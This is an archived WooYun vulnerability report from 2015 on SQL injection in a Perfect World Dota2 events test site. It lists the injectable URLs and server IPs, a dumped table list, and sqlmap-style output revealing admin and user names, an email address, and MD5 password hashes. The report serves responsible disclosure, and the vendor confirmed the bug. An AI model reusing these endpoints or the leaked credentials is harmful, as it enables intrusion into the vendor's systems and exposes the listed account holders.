当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0137263

漏洞标题：完美世界DATA2某站SQL注入漏洞#二

相关厂商：完美世界

漏洞作者： M4sk

提交时间：2015-08-28 21:55

修复时间：2015-10-15 10:30

公开时间：2015-10-15 10:30

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-28： 细节已通知厂商并且等待厂商处理中
2015-08-31： 厂商已经确认，细节仅向厂商公开
2015-09-10： 细节向核心白帽子及相关领域专家公开
2015-09-20： 细节向普通白帽子公开
2015-09-30： 细节向实习白帽子公开
2015-10-15： 细节向公众公开

简要描述：

RT

详细说明：

准备收拾桌面睡觉....结果随手谷歌到一个url... 于是有了注入...
http://test.pwel.com.cn/EventsDota2/EventsDetailsArc4?cupId=
http://test.pwel.com.cn/MatchDota2/EventsDetailsArc2?userid=100013&userstr=1&cupId=1

test.pwel.com.cn  IP地址:122.228.79.123[浙江省温州市 电信]
games.pwel.com.cn IP地址：122.228.79.130[浙江省温州市 电信]


确定不是同一服务器 所以不影响之前提交的games.pwel.com.cn站的 所以审核大大别忽略咯
那么就看跑出来的数据~ 与之前的跑的数据也不一样哦~

1.png


Database: wmp_main
[101 tables]
+---------------------------------+
| tb_bid_dota2                    |
| tb_bug_feedback                 |
| tb_bug_feedback_copy            |
| tb_clients_info                 |
| tb_common_sequence              |
| tb_cup_dota2                    |
| tb_cup_match_log_dota2          |
| tb_cup_request_dota2            |
| tb_cup_round_dota2              |
| tb_cup_schedule_dota2           |
| tb_cup_schedule_ob_data2        |
| tb_cup_team_dota2               |
| tb_deploy_area                  |
| tb_deploy_host                  |
| tb_deploy_host_ip               |
| tb_deploy_line                  |
| tb_deploy_service               |
| tb_deploy_service_type          |
| tb_dota2_daomoney_log           |
| tb_dota2_hero_item              |
| tb_dota2_trade_data             |
| tb_dota2_trade_item             |
| tb_dota2_trade_knapsack         |
| tb_dota2_trade_log              |
| tb_event_game_match_dota2       |
| tb_game_illegal_app_records     |
| tb_game_map                     |
| tb_game_play_detail_dota        |
| tb_game_play_detail_dota2       |
| tb_game_play_detail_dota2_pub   |
| tb_game_play_detail_war3_1v1    |
| tb_game_play_detail_war3_2v2    |
| tb_game_play_dota               |
| tb_game_play_dota2              |
| tb_game_play_dota2_pub          |
| tb_game_play_war3_1v1           |
| tb_game_play_war3_2v2           |
| tb_game_room                    |
| tb_game_type                    |
| tb_global_dota2_code            |
| tb_guild                        |
| tb_guild_member                 |
| tb_guild_score_change_dota      |
| tb_guild_score_dota             |
| tb_log_dota2_honor_record       |
| tb_log_game_dota2               |
| tb_log_login                    |
| tb_log_match_stats              |
| tb_log_match_stats_dota2        |
| tb_log_online                   |
| tb_log_record                   |
| tb_prop_activity_dota2          |
| tb_prop_item_dota2              |
| tb_resource_dota_equip          |
| tb_resource_dota_hero           |
| tb_resource_dota_item           |
| tb_school                       |
| tb_school_member                |
| tb_school_score_change_dota     |
| tb_school_score_dota            |
| tb_school_score_dota2           |
| tb_setting_city                 |
| tb_setting_country              |
| tb_setting_dota2_bid_item       |
| tb_setting_dota2_hero           |
| tb_setting_dota2_honor_exchange |
| tb_setting_dota2_item           |
| tb_setting_global               |
| tb_setting_province             |
| tb_setting_public_notice        |
| tb_setting_shieldword           |
| tb_system_notice                |
| tb_team                         |
| tb_team_join_request            |
| tb_team_member                  |
| tb_team_score_change_dota       |
| tb_team_score_change_dota2      |
| tb_team_score_dota              |
| tb_team_score_dota2             |
| tb_user_account                 |
| tb_user_chip_dota2              |
| tb_user_code_dota2              |
| tb_user_favorite                |
| tb_user_friend                  |
| tb_user_friend_group            |
| tb_user_friend_group_member     |
| tb_user_hero                    |
| tb_user_hero_info_dota          |
| tb_user_offline_message         |
| tb_user_passport                |
| tb_user_prop_dota2              |
| tb_user_school_honour_dota2     |
| tb_user_score_dota              |
| tb_user_score_dota2             |
| tb_user_score_war3_1v1          |
| tb_user_score_war3_2v2          |
| tb_user_third_auth              |
| tb_user_visit                   |
| tb_web_downloads                |
| tb_web_records                  |
| tb_web_user_manage              |
+---------------------------------+


[23:45:11] [INFO] retrieved: f_user_name
[23:45:11] [INFO] retrieved: varchar(100)
[23:45:12] [INFO] retrieved: f_user_password
[23:45:12] [INFO] retrieved: varchar(100)
[23:45:13] [INFO] retrieved: admin
[23:45:13] [INFO] retrieved: e10adc3949ba59abbe56e057f20f883e
[23:45:13] [INFO] retrieved: dota2
[23:45:13] [INFO] retrieved: d090b14a557aa3e53580950a2005e657
[23:45:13] [INFO] retrieved: fengyu@wywk.cn
[23:45:14] [INFO] retrieved: e10adc3949ba59abbe56e057f20f883e
[23:45:14] [INFO] retrieved: jancy
[23:45:14] [INFO] retrieved: e10adc3949ba59abbe56e057f20f883e
[23:45:14] [INFO] retrieved: netfish
[23:45:14] [INFO] retrieved: e10adc3949ba59abbe56e057f20f883e
[23:45:15] [INFO] retrieved: netfish_1
[23:45:15] [INFO] retrieved: e10adc3949ba59abbe56e057f20f883e
[23:45:15] [INFO] retrieved: netfish_mg1
[23:45:15] [INFO] retrieved: e10adc3949ba59abbe56e057f20f883e
[23:45:16] [INFO] retrieved: panqianliang
[23:45:16] [INFO] retrieved: e10adc3949ba59abbe56e057f20f883e
[23:45:16] [INFO] retrieved: pwel
[23:45:16] [INFO] retrieved: e10adc3949ba59abbe56e057f20f883e
[23:45:16] [INFO] retrieved: wywk-大西洋店
[23:45:17] [INFO] retrieved: 6531401f9a6807306651b87e44c05751


数据都在这 危害你懂得 不继续了 困死了 审核大大求个前台吧 么么哒！

漏洞证明：

综上

修复方案：

你会的

版权声明：转载请注明来源 M4sk@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-08-31 10:28

厂商回复：

感谢洞主对完美世界的关注，我们将尽快修补。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-08-28 22:25 | 路人毛 ( 实习白帽子 | Rank:48 漏洞数:15 | 呵呵)

    666666